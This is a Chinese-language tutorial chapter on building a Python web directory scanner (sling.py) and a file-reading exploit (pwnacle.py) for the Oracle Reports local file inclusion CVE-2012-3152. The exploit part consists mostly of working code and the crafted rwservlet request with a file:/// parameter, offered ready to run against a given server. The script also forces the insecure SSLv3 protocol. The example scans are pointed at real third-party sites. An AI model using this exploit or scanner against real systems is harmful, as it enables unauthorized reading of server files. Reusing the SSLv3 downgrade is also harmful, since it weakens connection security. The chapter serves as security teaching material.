##Web掃描和利用
本章將會介紹如何使用python去構建一個簡單的web掃描器,并且寫一個簡單的exp。有些時候如果組織會發布出來一些漏洞測試的POC,然后使用者可以使用這些poc去檢查自己系統的漏洞,但是在這種情況下,如果是等poc發布出來早以為時已晚!
在[第5章](https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x5.md)的時候告訴了大家基本的web請求,這一章我們講兩個新的內容:
* 檢測特定的服務器列表.
* 利用一個Oracle的本地包含漏洞.
**Web掃描**
下面的這個腳本使用"-i"參數把文件的url連接傳遞到腳本里面,然后使用"-r"參數指定請求的路徑,最好使用"-s"參數去指定檢測是否含有CLI漏洞的字符串.
```
$ python sling.py -h
Usage: sling.py -i <file_with URLs> -r -s [optional]
Options:
-h, --help show this help message and exit
-i SERVERS specify target file with URLs
-r RESOURCES specify a file with resources to request
-s SEARCH [optional] Specify a search string -s
```
存儲url鏈接列表文件的文本格式應該是這樣的——"http://www.google.com" 一行,并且文件請求的路徑應該是"request/"每行,例如:
```
reqs:
CFIDE/
admin/
tmp/
```
下面是一個腳本調用的例子但是沒有指定檢測字符串:
```
$ python sling.py -i URLs -r reqs
[+] URL: http://www.google.com/CFIDE/ [404]
[+] URL: http://www.google.com/admin/ [404]
[+] URL: http://www.google.com/tmp/ [404]
[+] URL: http://www.yahoo.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/admin/ [404]
[+] URL: http://www.facebook.com/tmp/ [404]
```
現在當創建這些請求的時候,你可能想定義一個檢測語句以減少誤報,例如:你現在請求的路徑是"/CFIDE/administrator/enter.cfm",你可以指定檢測"CFIDE"的".cfm"頁面是否有問題,這樣就幫助你減少很多不必要耗費的時間.下面這個例子演示了上面腳本的完整示例:
```
$ python sling.py -i URLs -r reqs -s google
[+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput
```
正如你所看到的,這個腳本只會檢測帶有'google'關鍵字的url鏈接并且通過"STDOUT"顯示在屏幕上面,這是一個很簡單的腳本能夠幫你快速的檢索一些web資源,更進一步,我們可以指定服務器的版本號和漏洞版本,完整的腳本在教程的最后面:
**自動web攻擊應用**
在幾個月以前,一個安全研究員[NI@root](http://blog.netinfiltration.com/2013/12/12/hacking-oracle-reports-11g/) 發表過一篇詳細的Oracle本地包含漏洞的報告,在報告發布的同時還發布了一個POC檢測工具,用來檢測你的服務器是否有bug,除此以外就沒有任何工具了,該漏洞允許你通過發起以下請求連接來訪問服務器的其他文件或目錄,使用"file:///".
```
request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'
```
下面是調用這個腳本的語法:
```
$ python pwnacle.py <server> <resource>
```
pwnacle.py:
```
#######################################
# pwnacle.py - Exploits CVE-2012-3152 #
# Oracle Local File Inclusion (LFI) #
#######################################
import urllib, sys, ssl, inspect
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
import socket
server = sys.argv[1] # Assigns first argument given at the CLI to 'server' variable
dir = sys.argv[2] # Assigns second argument given at the CLI to 'dir' variable
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability
print "Sending Request: "+server+req+dir+'"'
if 'http://' in server: # 使用 http的urllib模塊 --如果是ssl協議就出拋出錯誤
try:
conn = urllib.urlopen(server+req+dir+'"') # 發送請求給服務器
out = conn.readlines()
for item in conn:
print item.strip()
except Exception as e:
print e
if 'https://' in server: # Create web request with ssl module
try:
conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
request = 'GET '+req+dir+'"'+' HTTP/1.1'+'\n'
request += 'Host: '+ip+'\n'
request += 'User-Agent: Mozilla/5.0 '+'\n'
request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'\n'
request += 'Accept-Language: en-US,en;q=0.5'+'\n'
request += 'Accept-Encoding: gzip, deflate'+'\n'
request += 'Connection: keep-alive'+'\n'
conn.send(request+'\n')
print conn.recv()
print conn.recv(20098)
except Exception as e:
print e
```
Sling.py:
```
#####################################
# sling.py - checks for resources #
# Can seach for string in response #
#####################################
from bs4 import BeautifulSoup
import sys, optparse, socket
from urllib import urlopen
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
def webreq(server, resources): # 主機地址,請求路徑
try:
resource = []
for item in open(resources, 'r'): #對請求資源路徑循環
resource.append(item.strip()) # 把文件內的鏈接添加到數組里面
for item in resource: #循環數組并且創建請求
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5) # 設置連接超時時間
url = server.strip()+item.strip() # 格式化請求url鏈接: "http://www.site.com/CFIDE/administrator/enter.cfm"
request = urlopen(url) # 創建請求
if search: # 如果變量 "search"為true (-s)
parsed = BeautifulSoup(request.read(), "lxml") #使用BeautifulSoup解析
if search in str(parsed): # 如果search存在就輸出
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
elif request.getcode() == 404: # 獲取http狀態碼
print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]" # 打印url的狀態碼
elif request.getcode():
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"
except:pass
def main():
# 創建一個 CLI功能函數并且存儲到變量里面
parser = optparse.OptionParser(sys.argv[0]+' '+ \
'-i <file_with URLs> -r -s [optional]')
parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
(options, args) = parser.parse_args()
servers=options.servers
resources=options.resources
global search; search=options.search
if (servers == None) and (resources==None): # 檢查 CLI是否有效
print parser.usage # if not print usage
sys.exit(0)
if servers:
for server in open(servers, 'r'): # 循環文件里面的url連接
webreq(server, resources) # 調用 webreq 函數
function
if __name__ == "__main__":
main()
```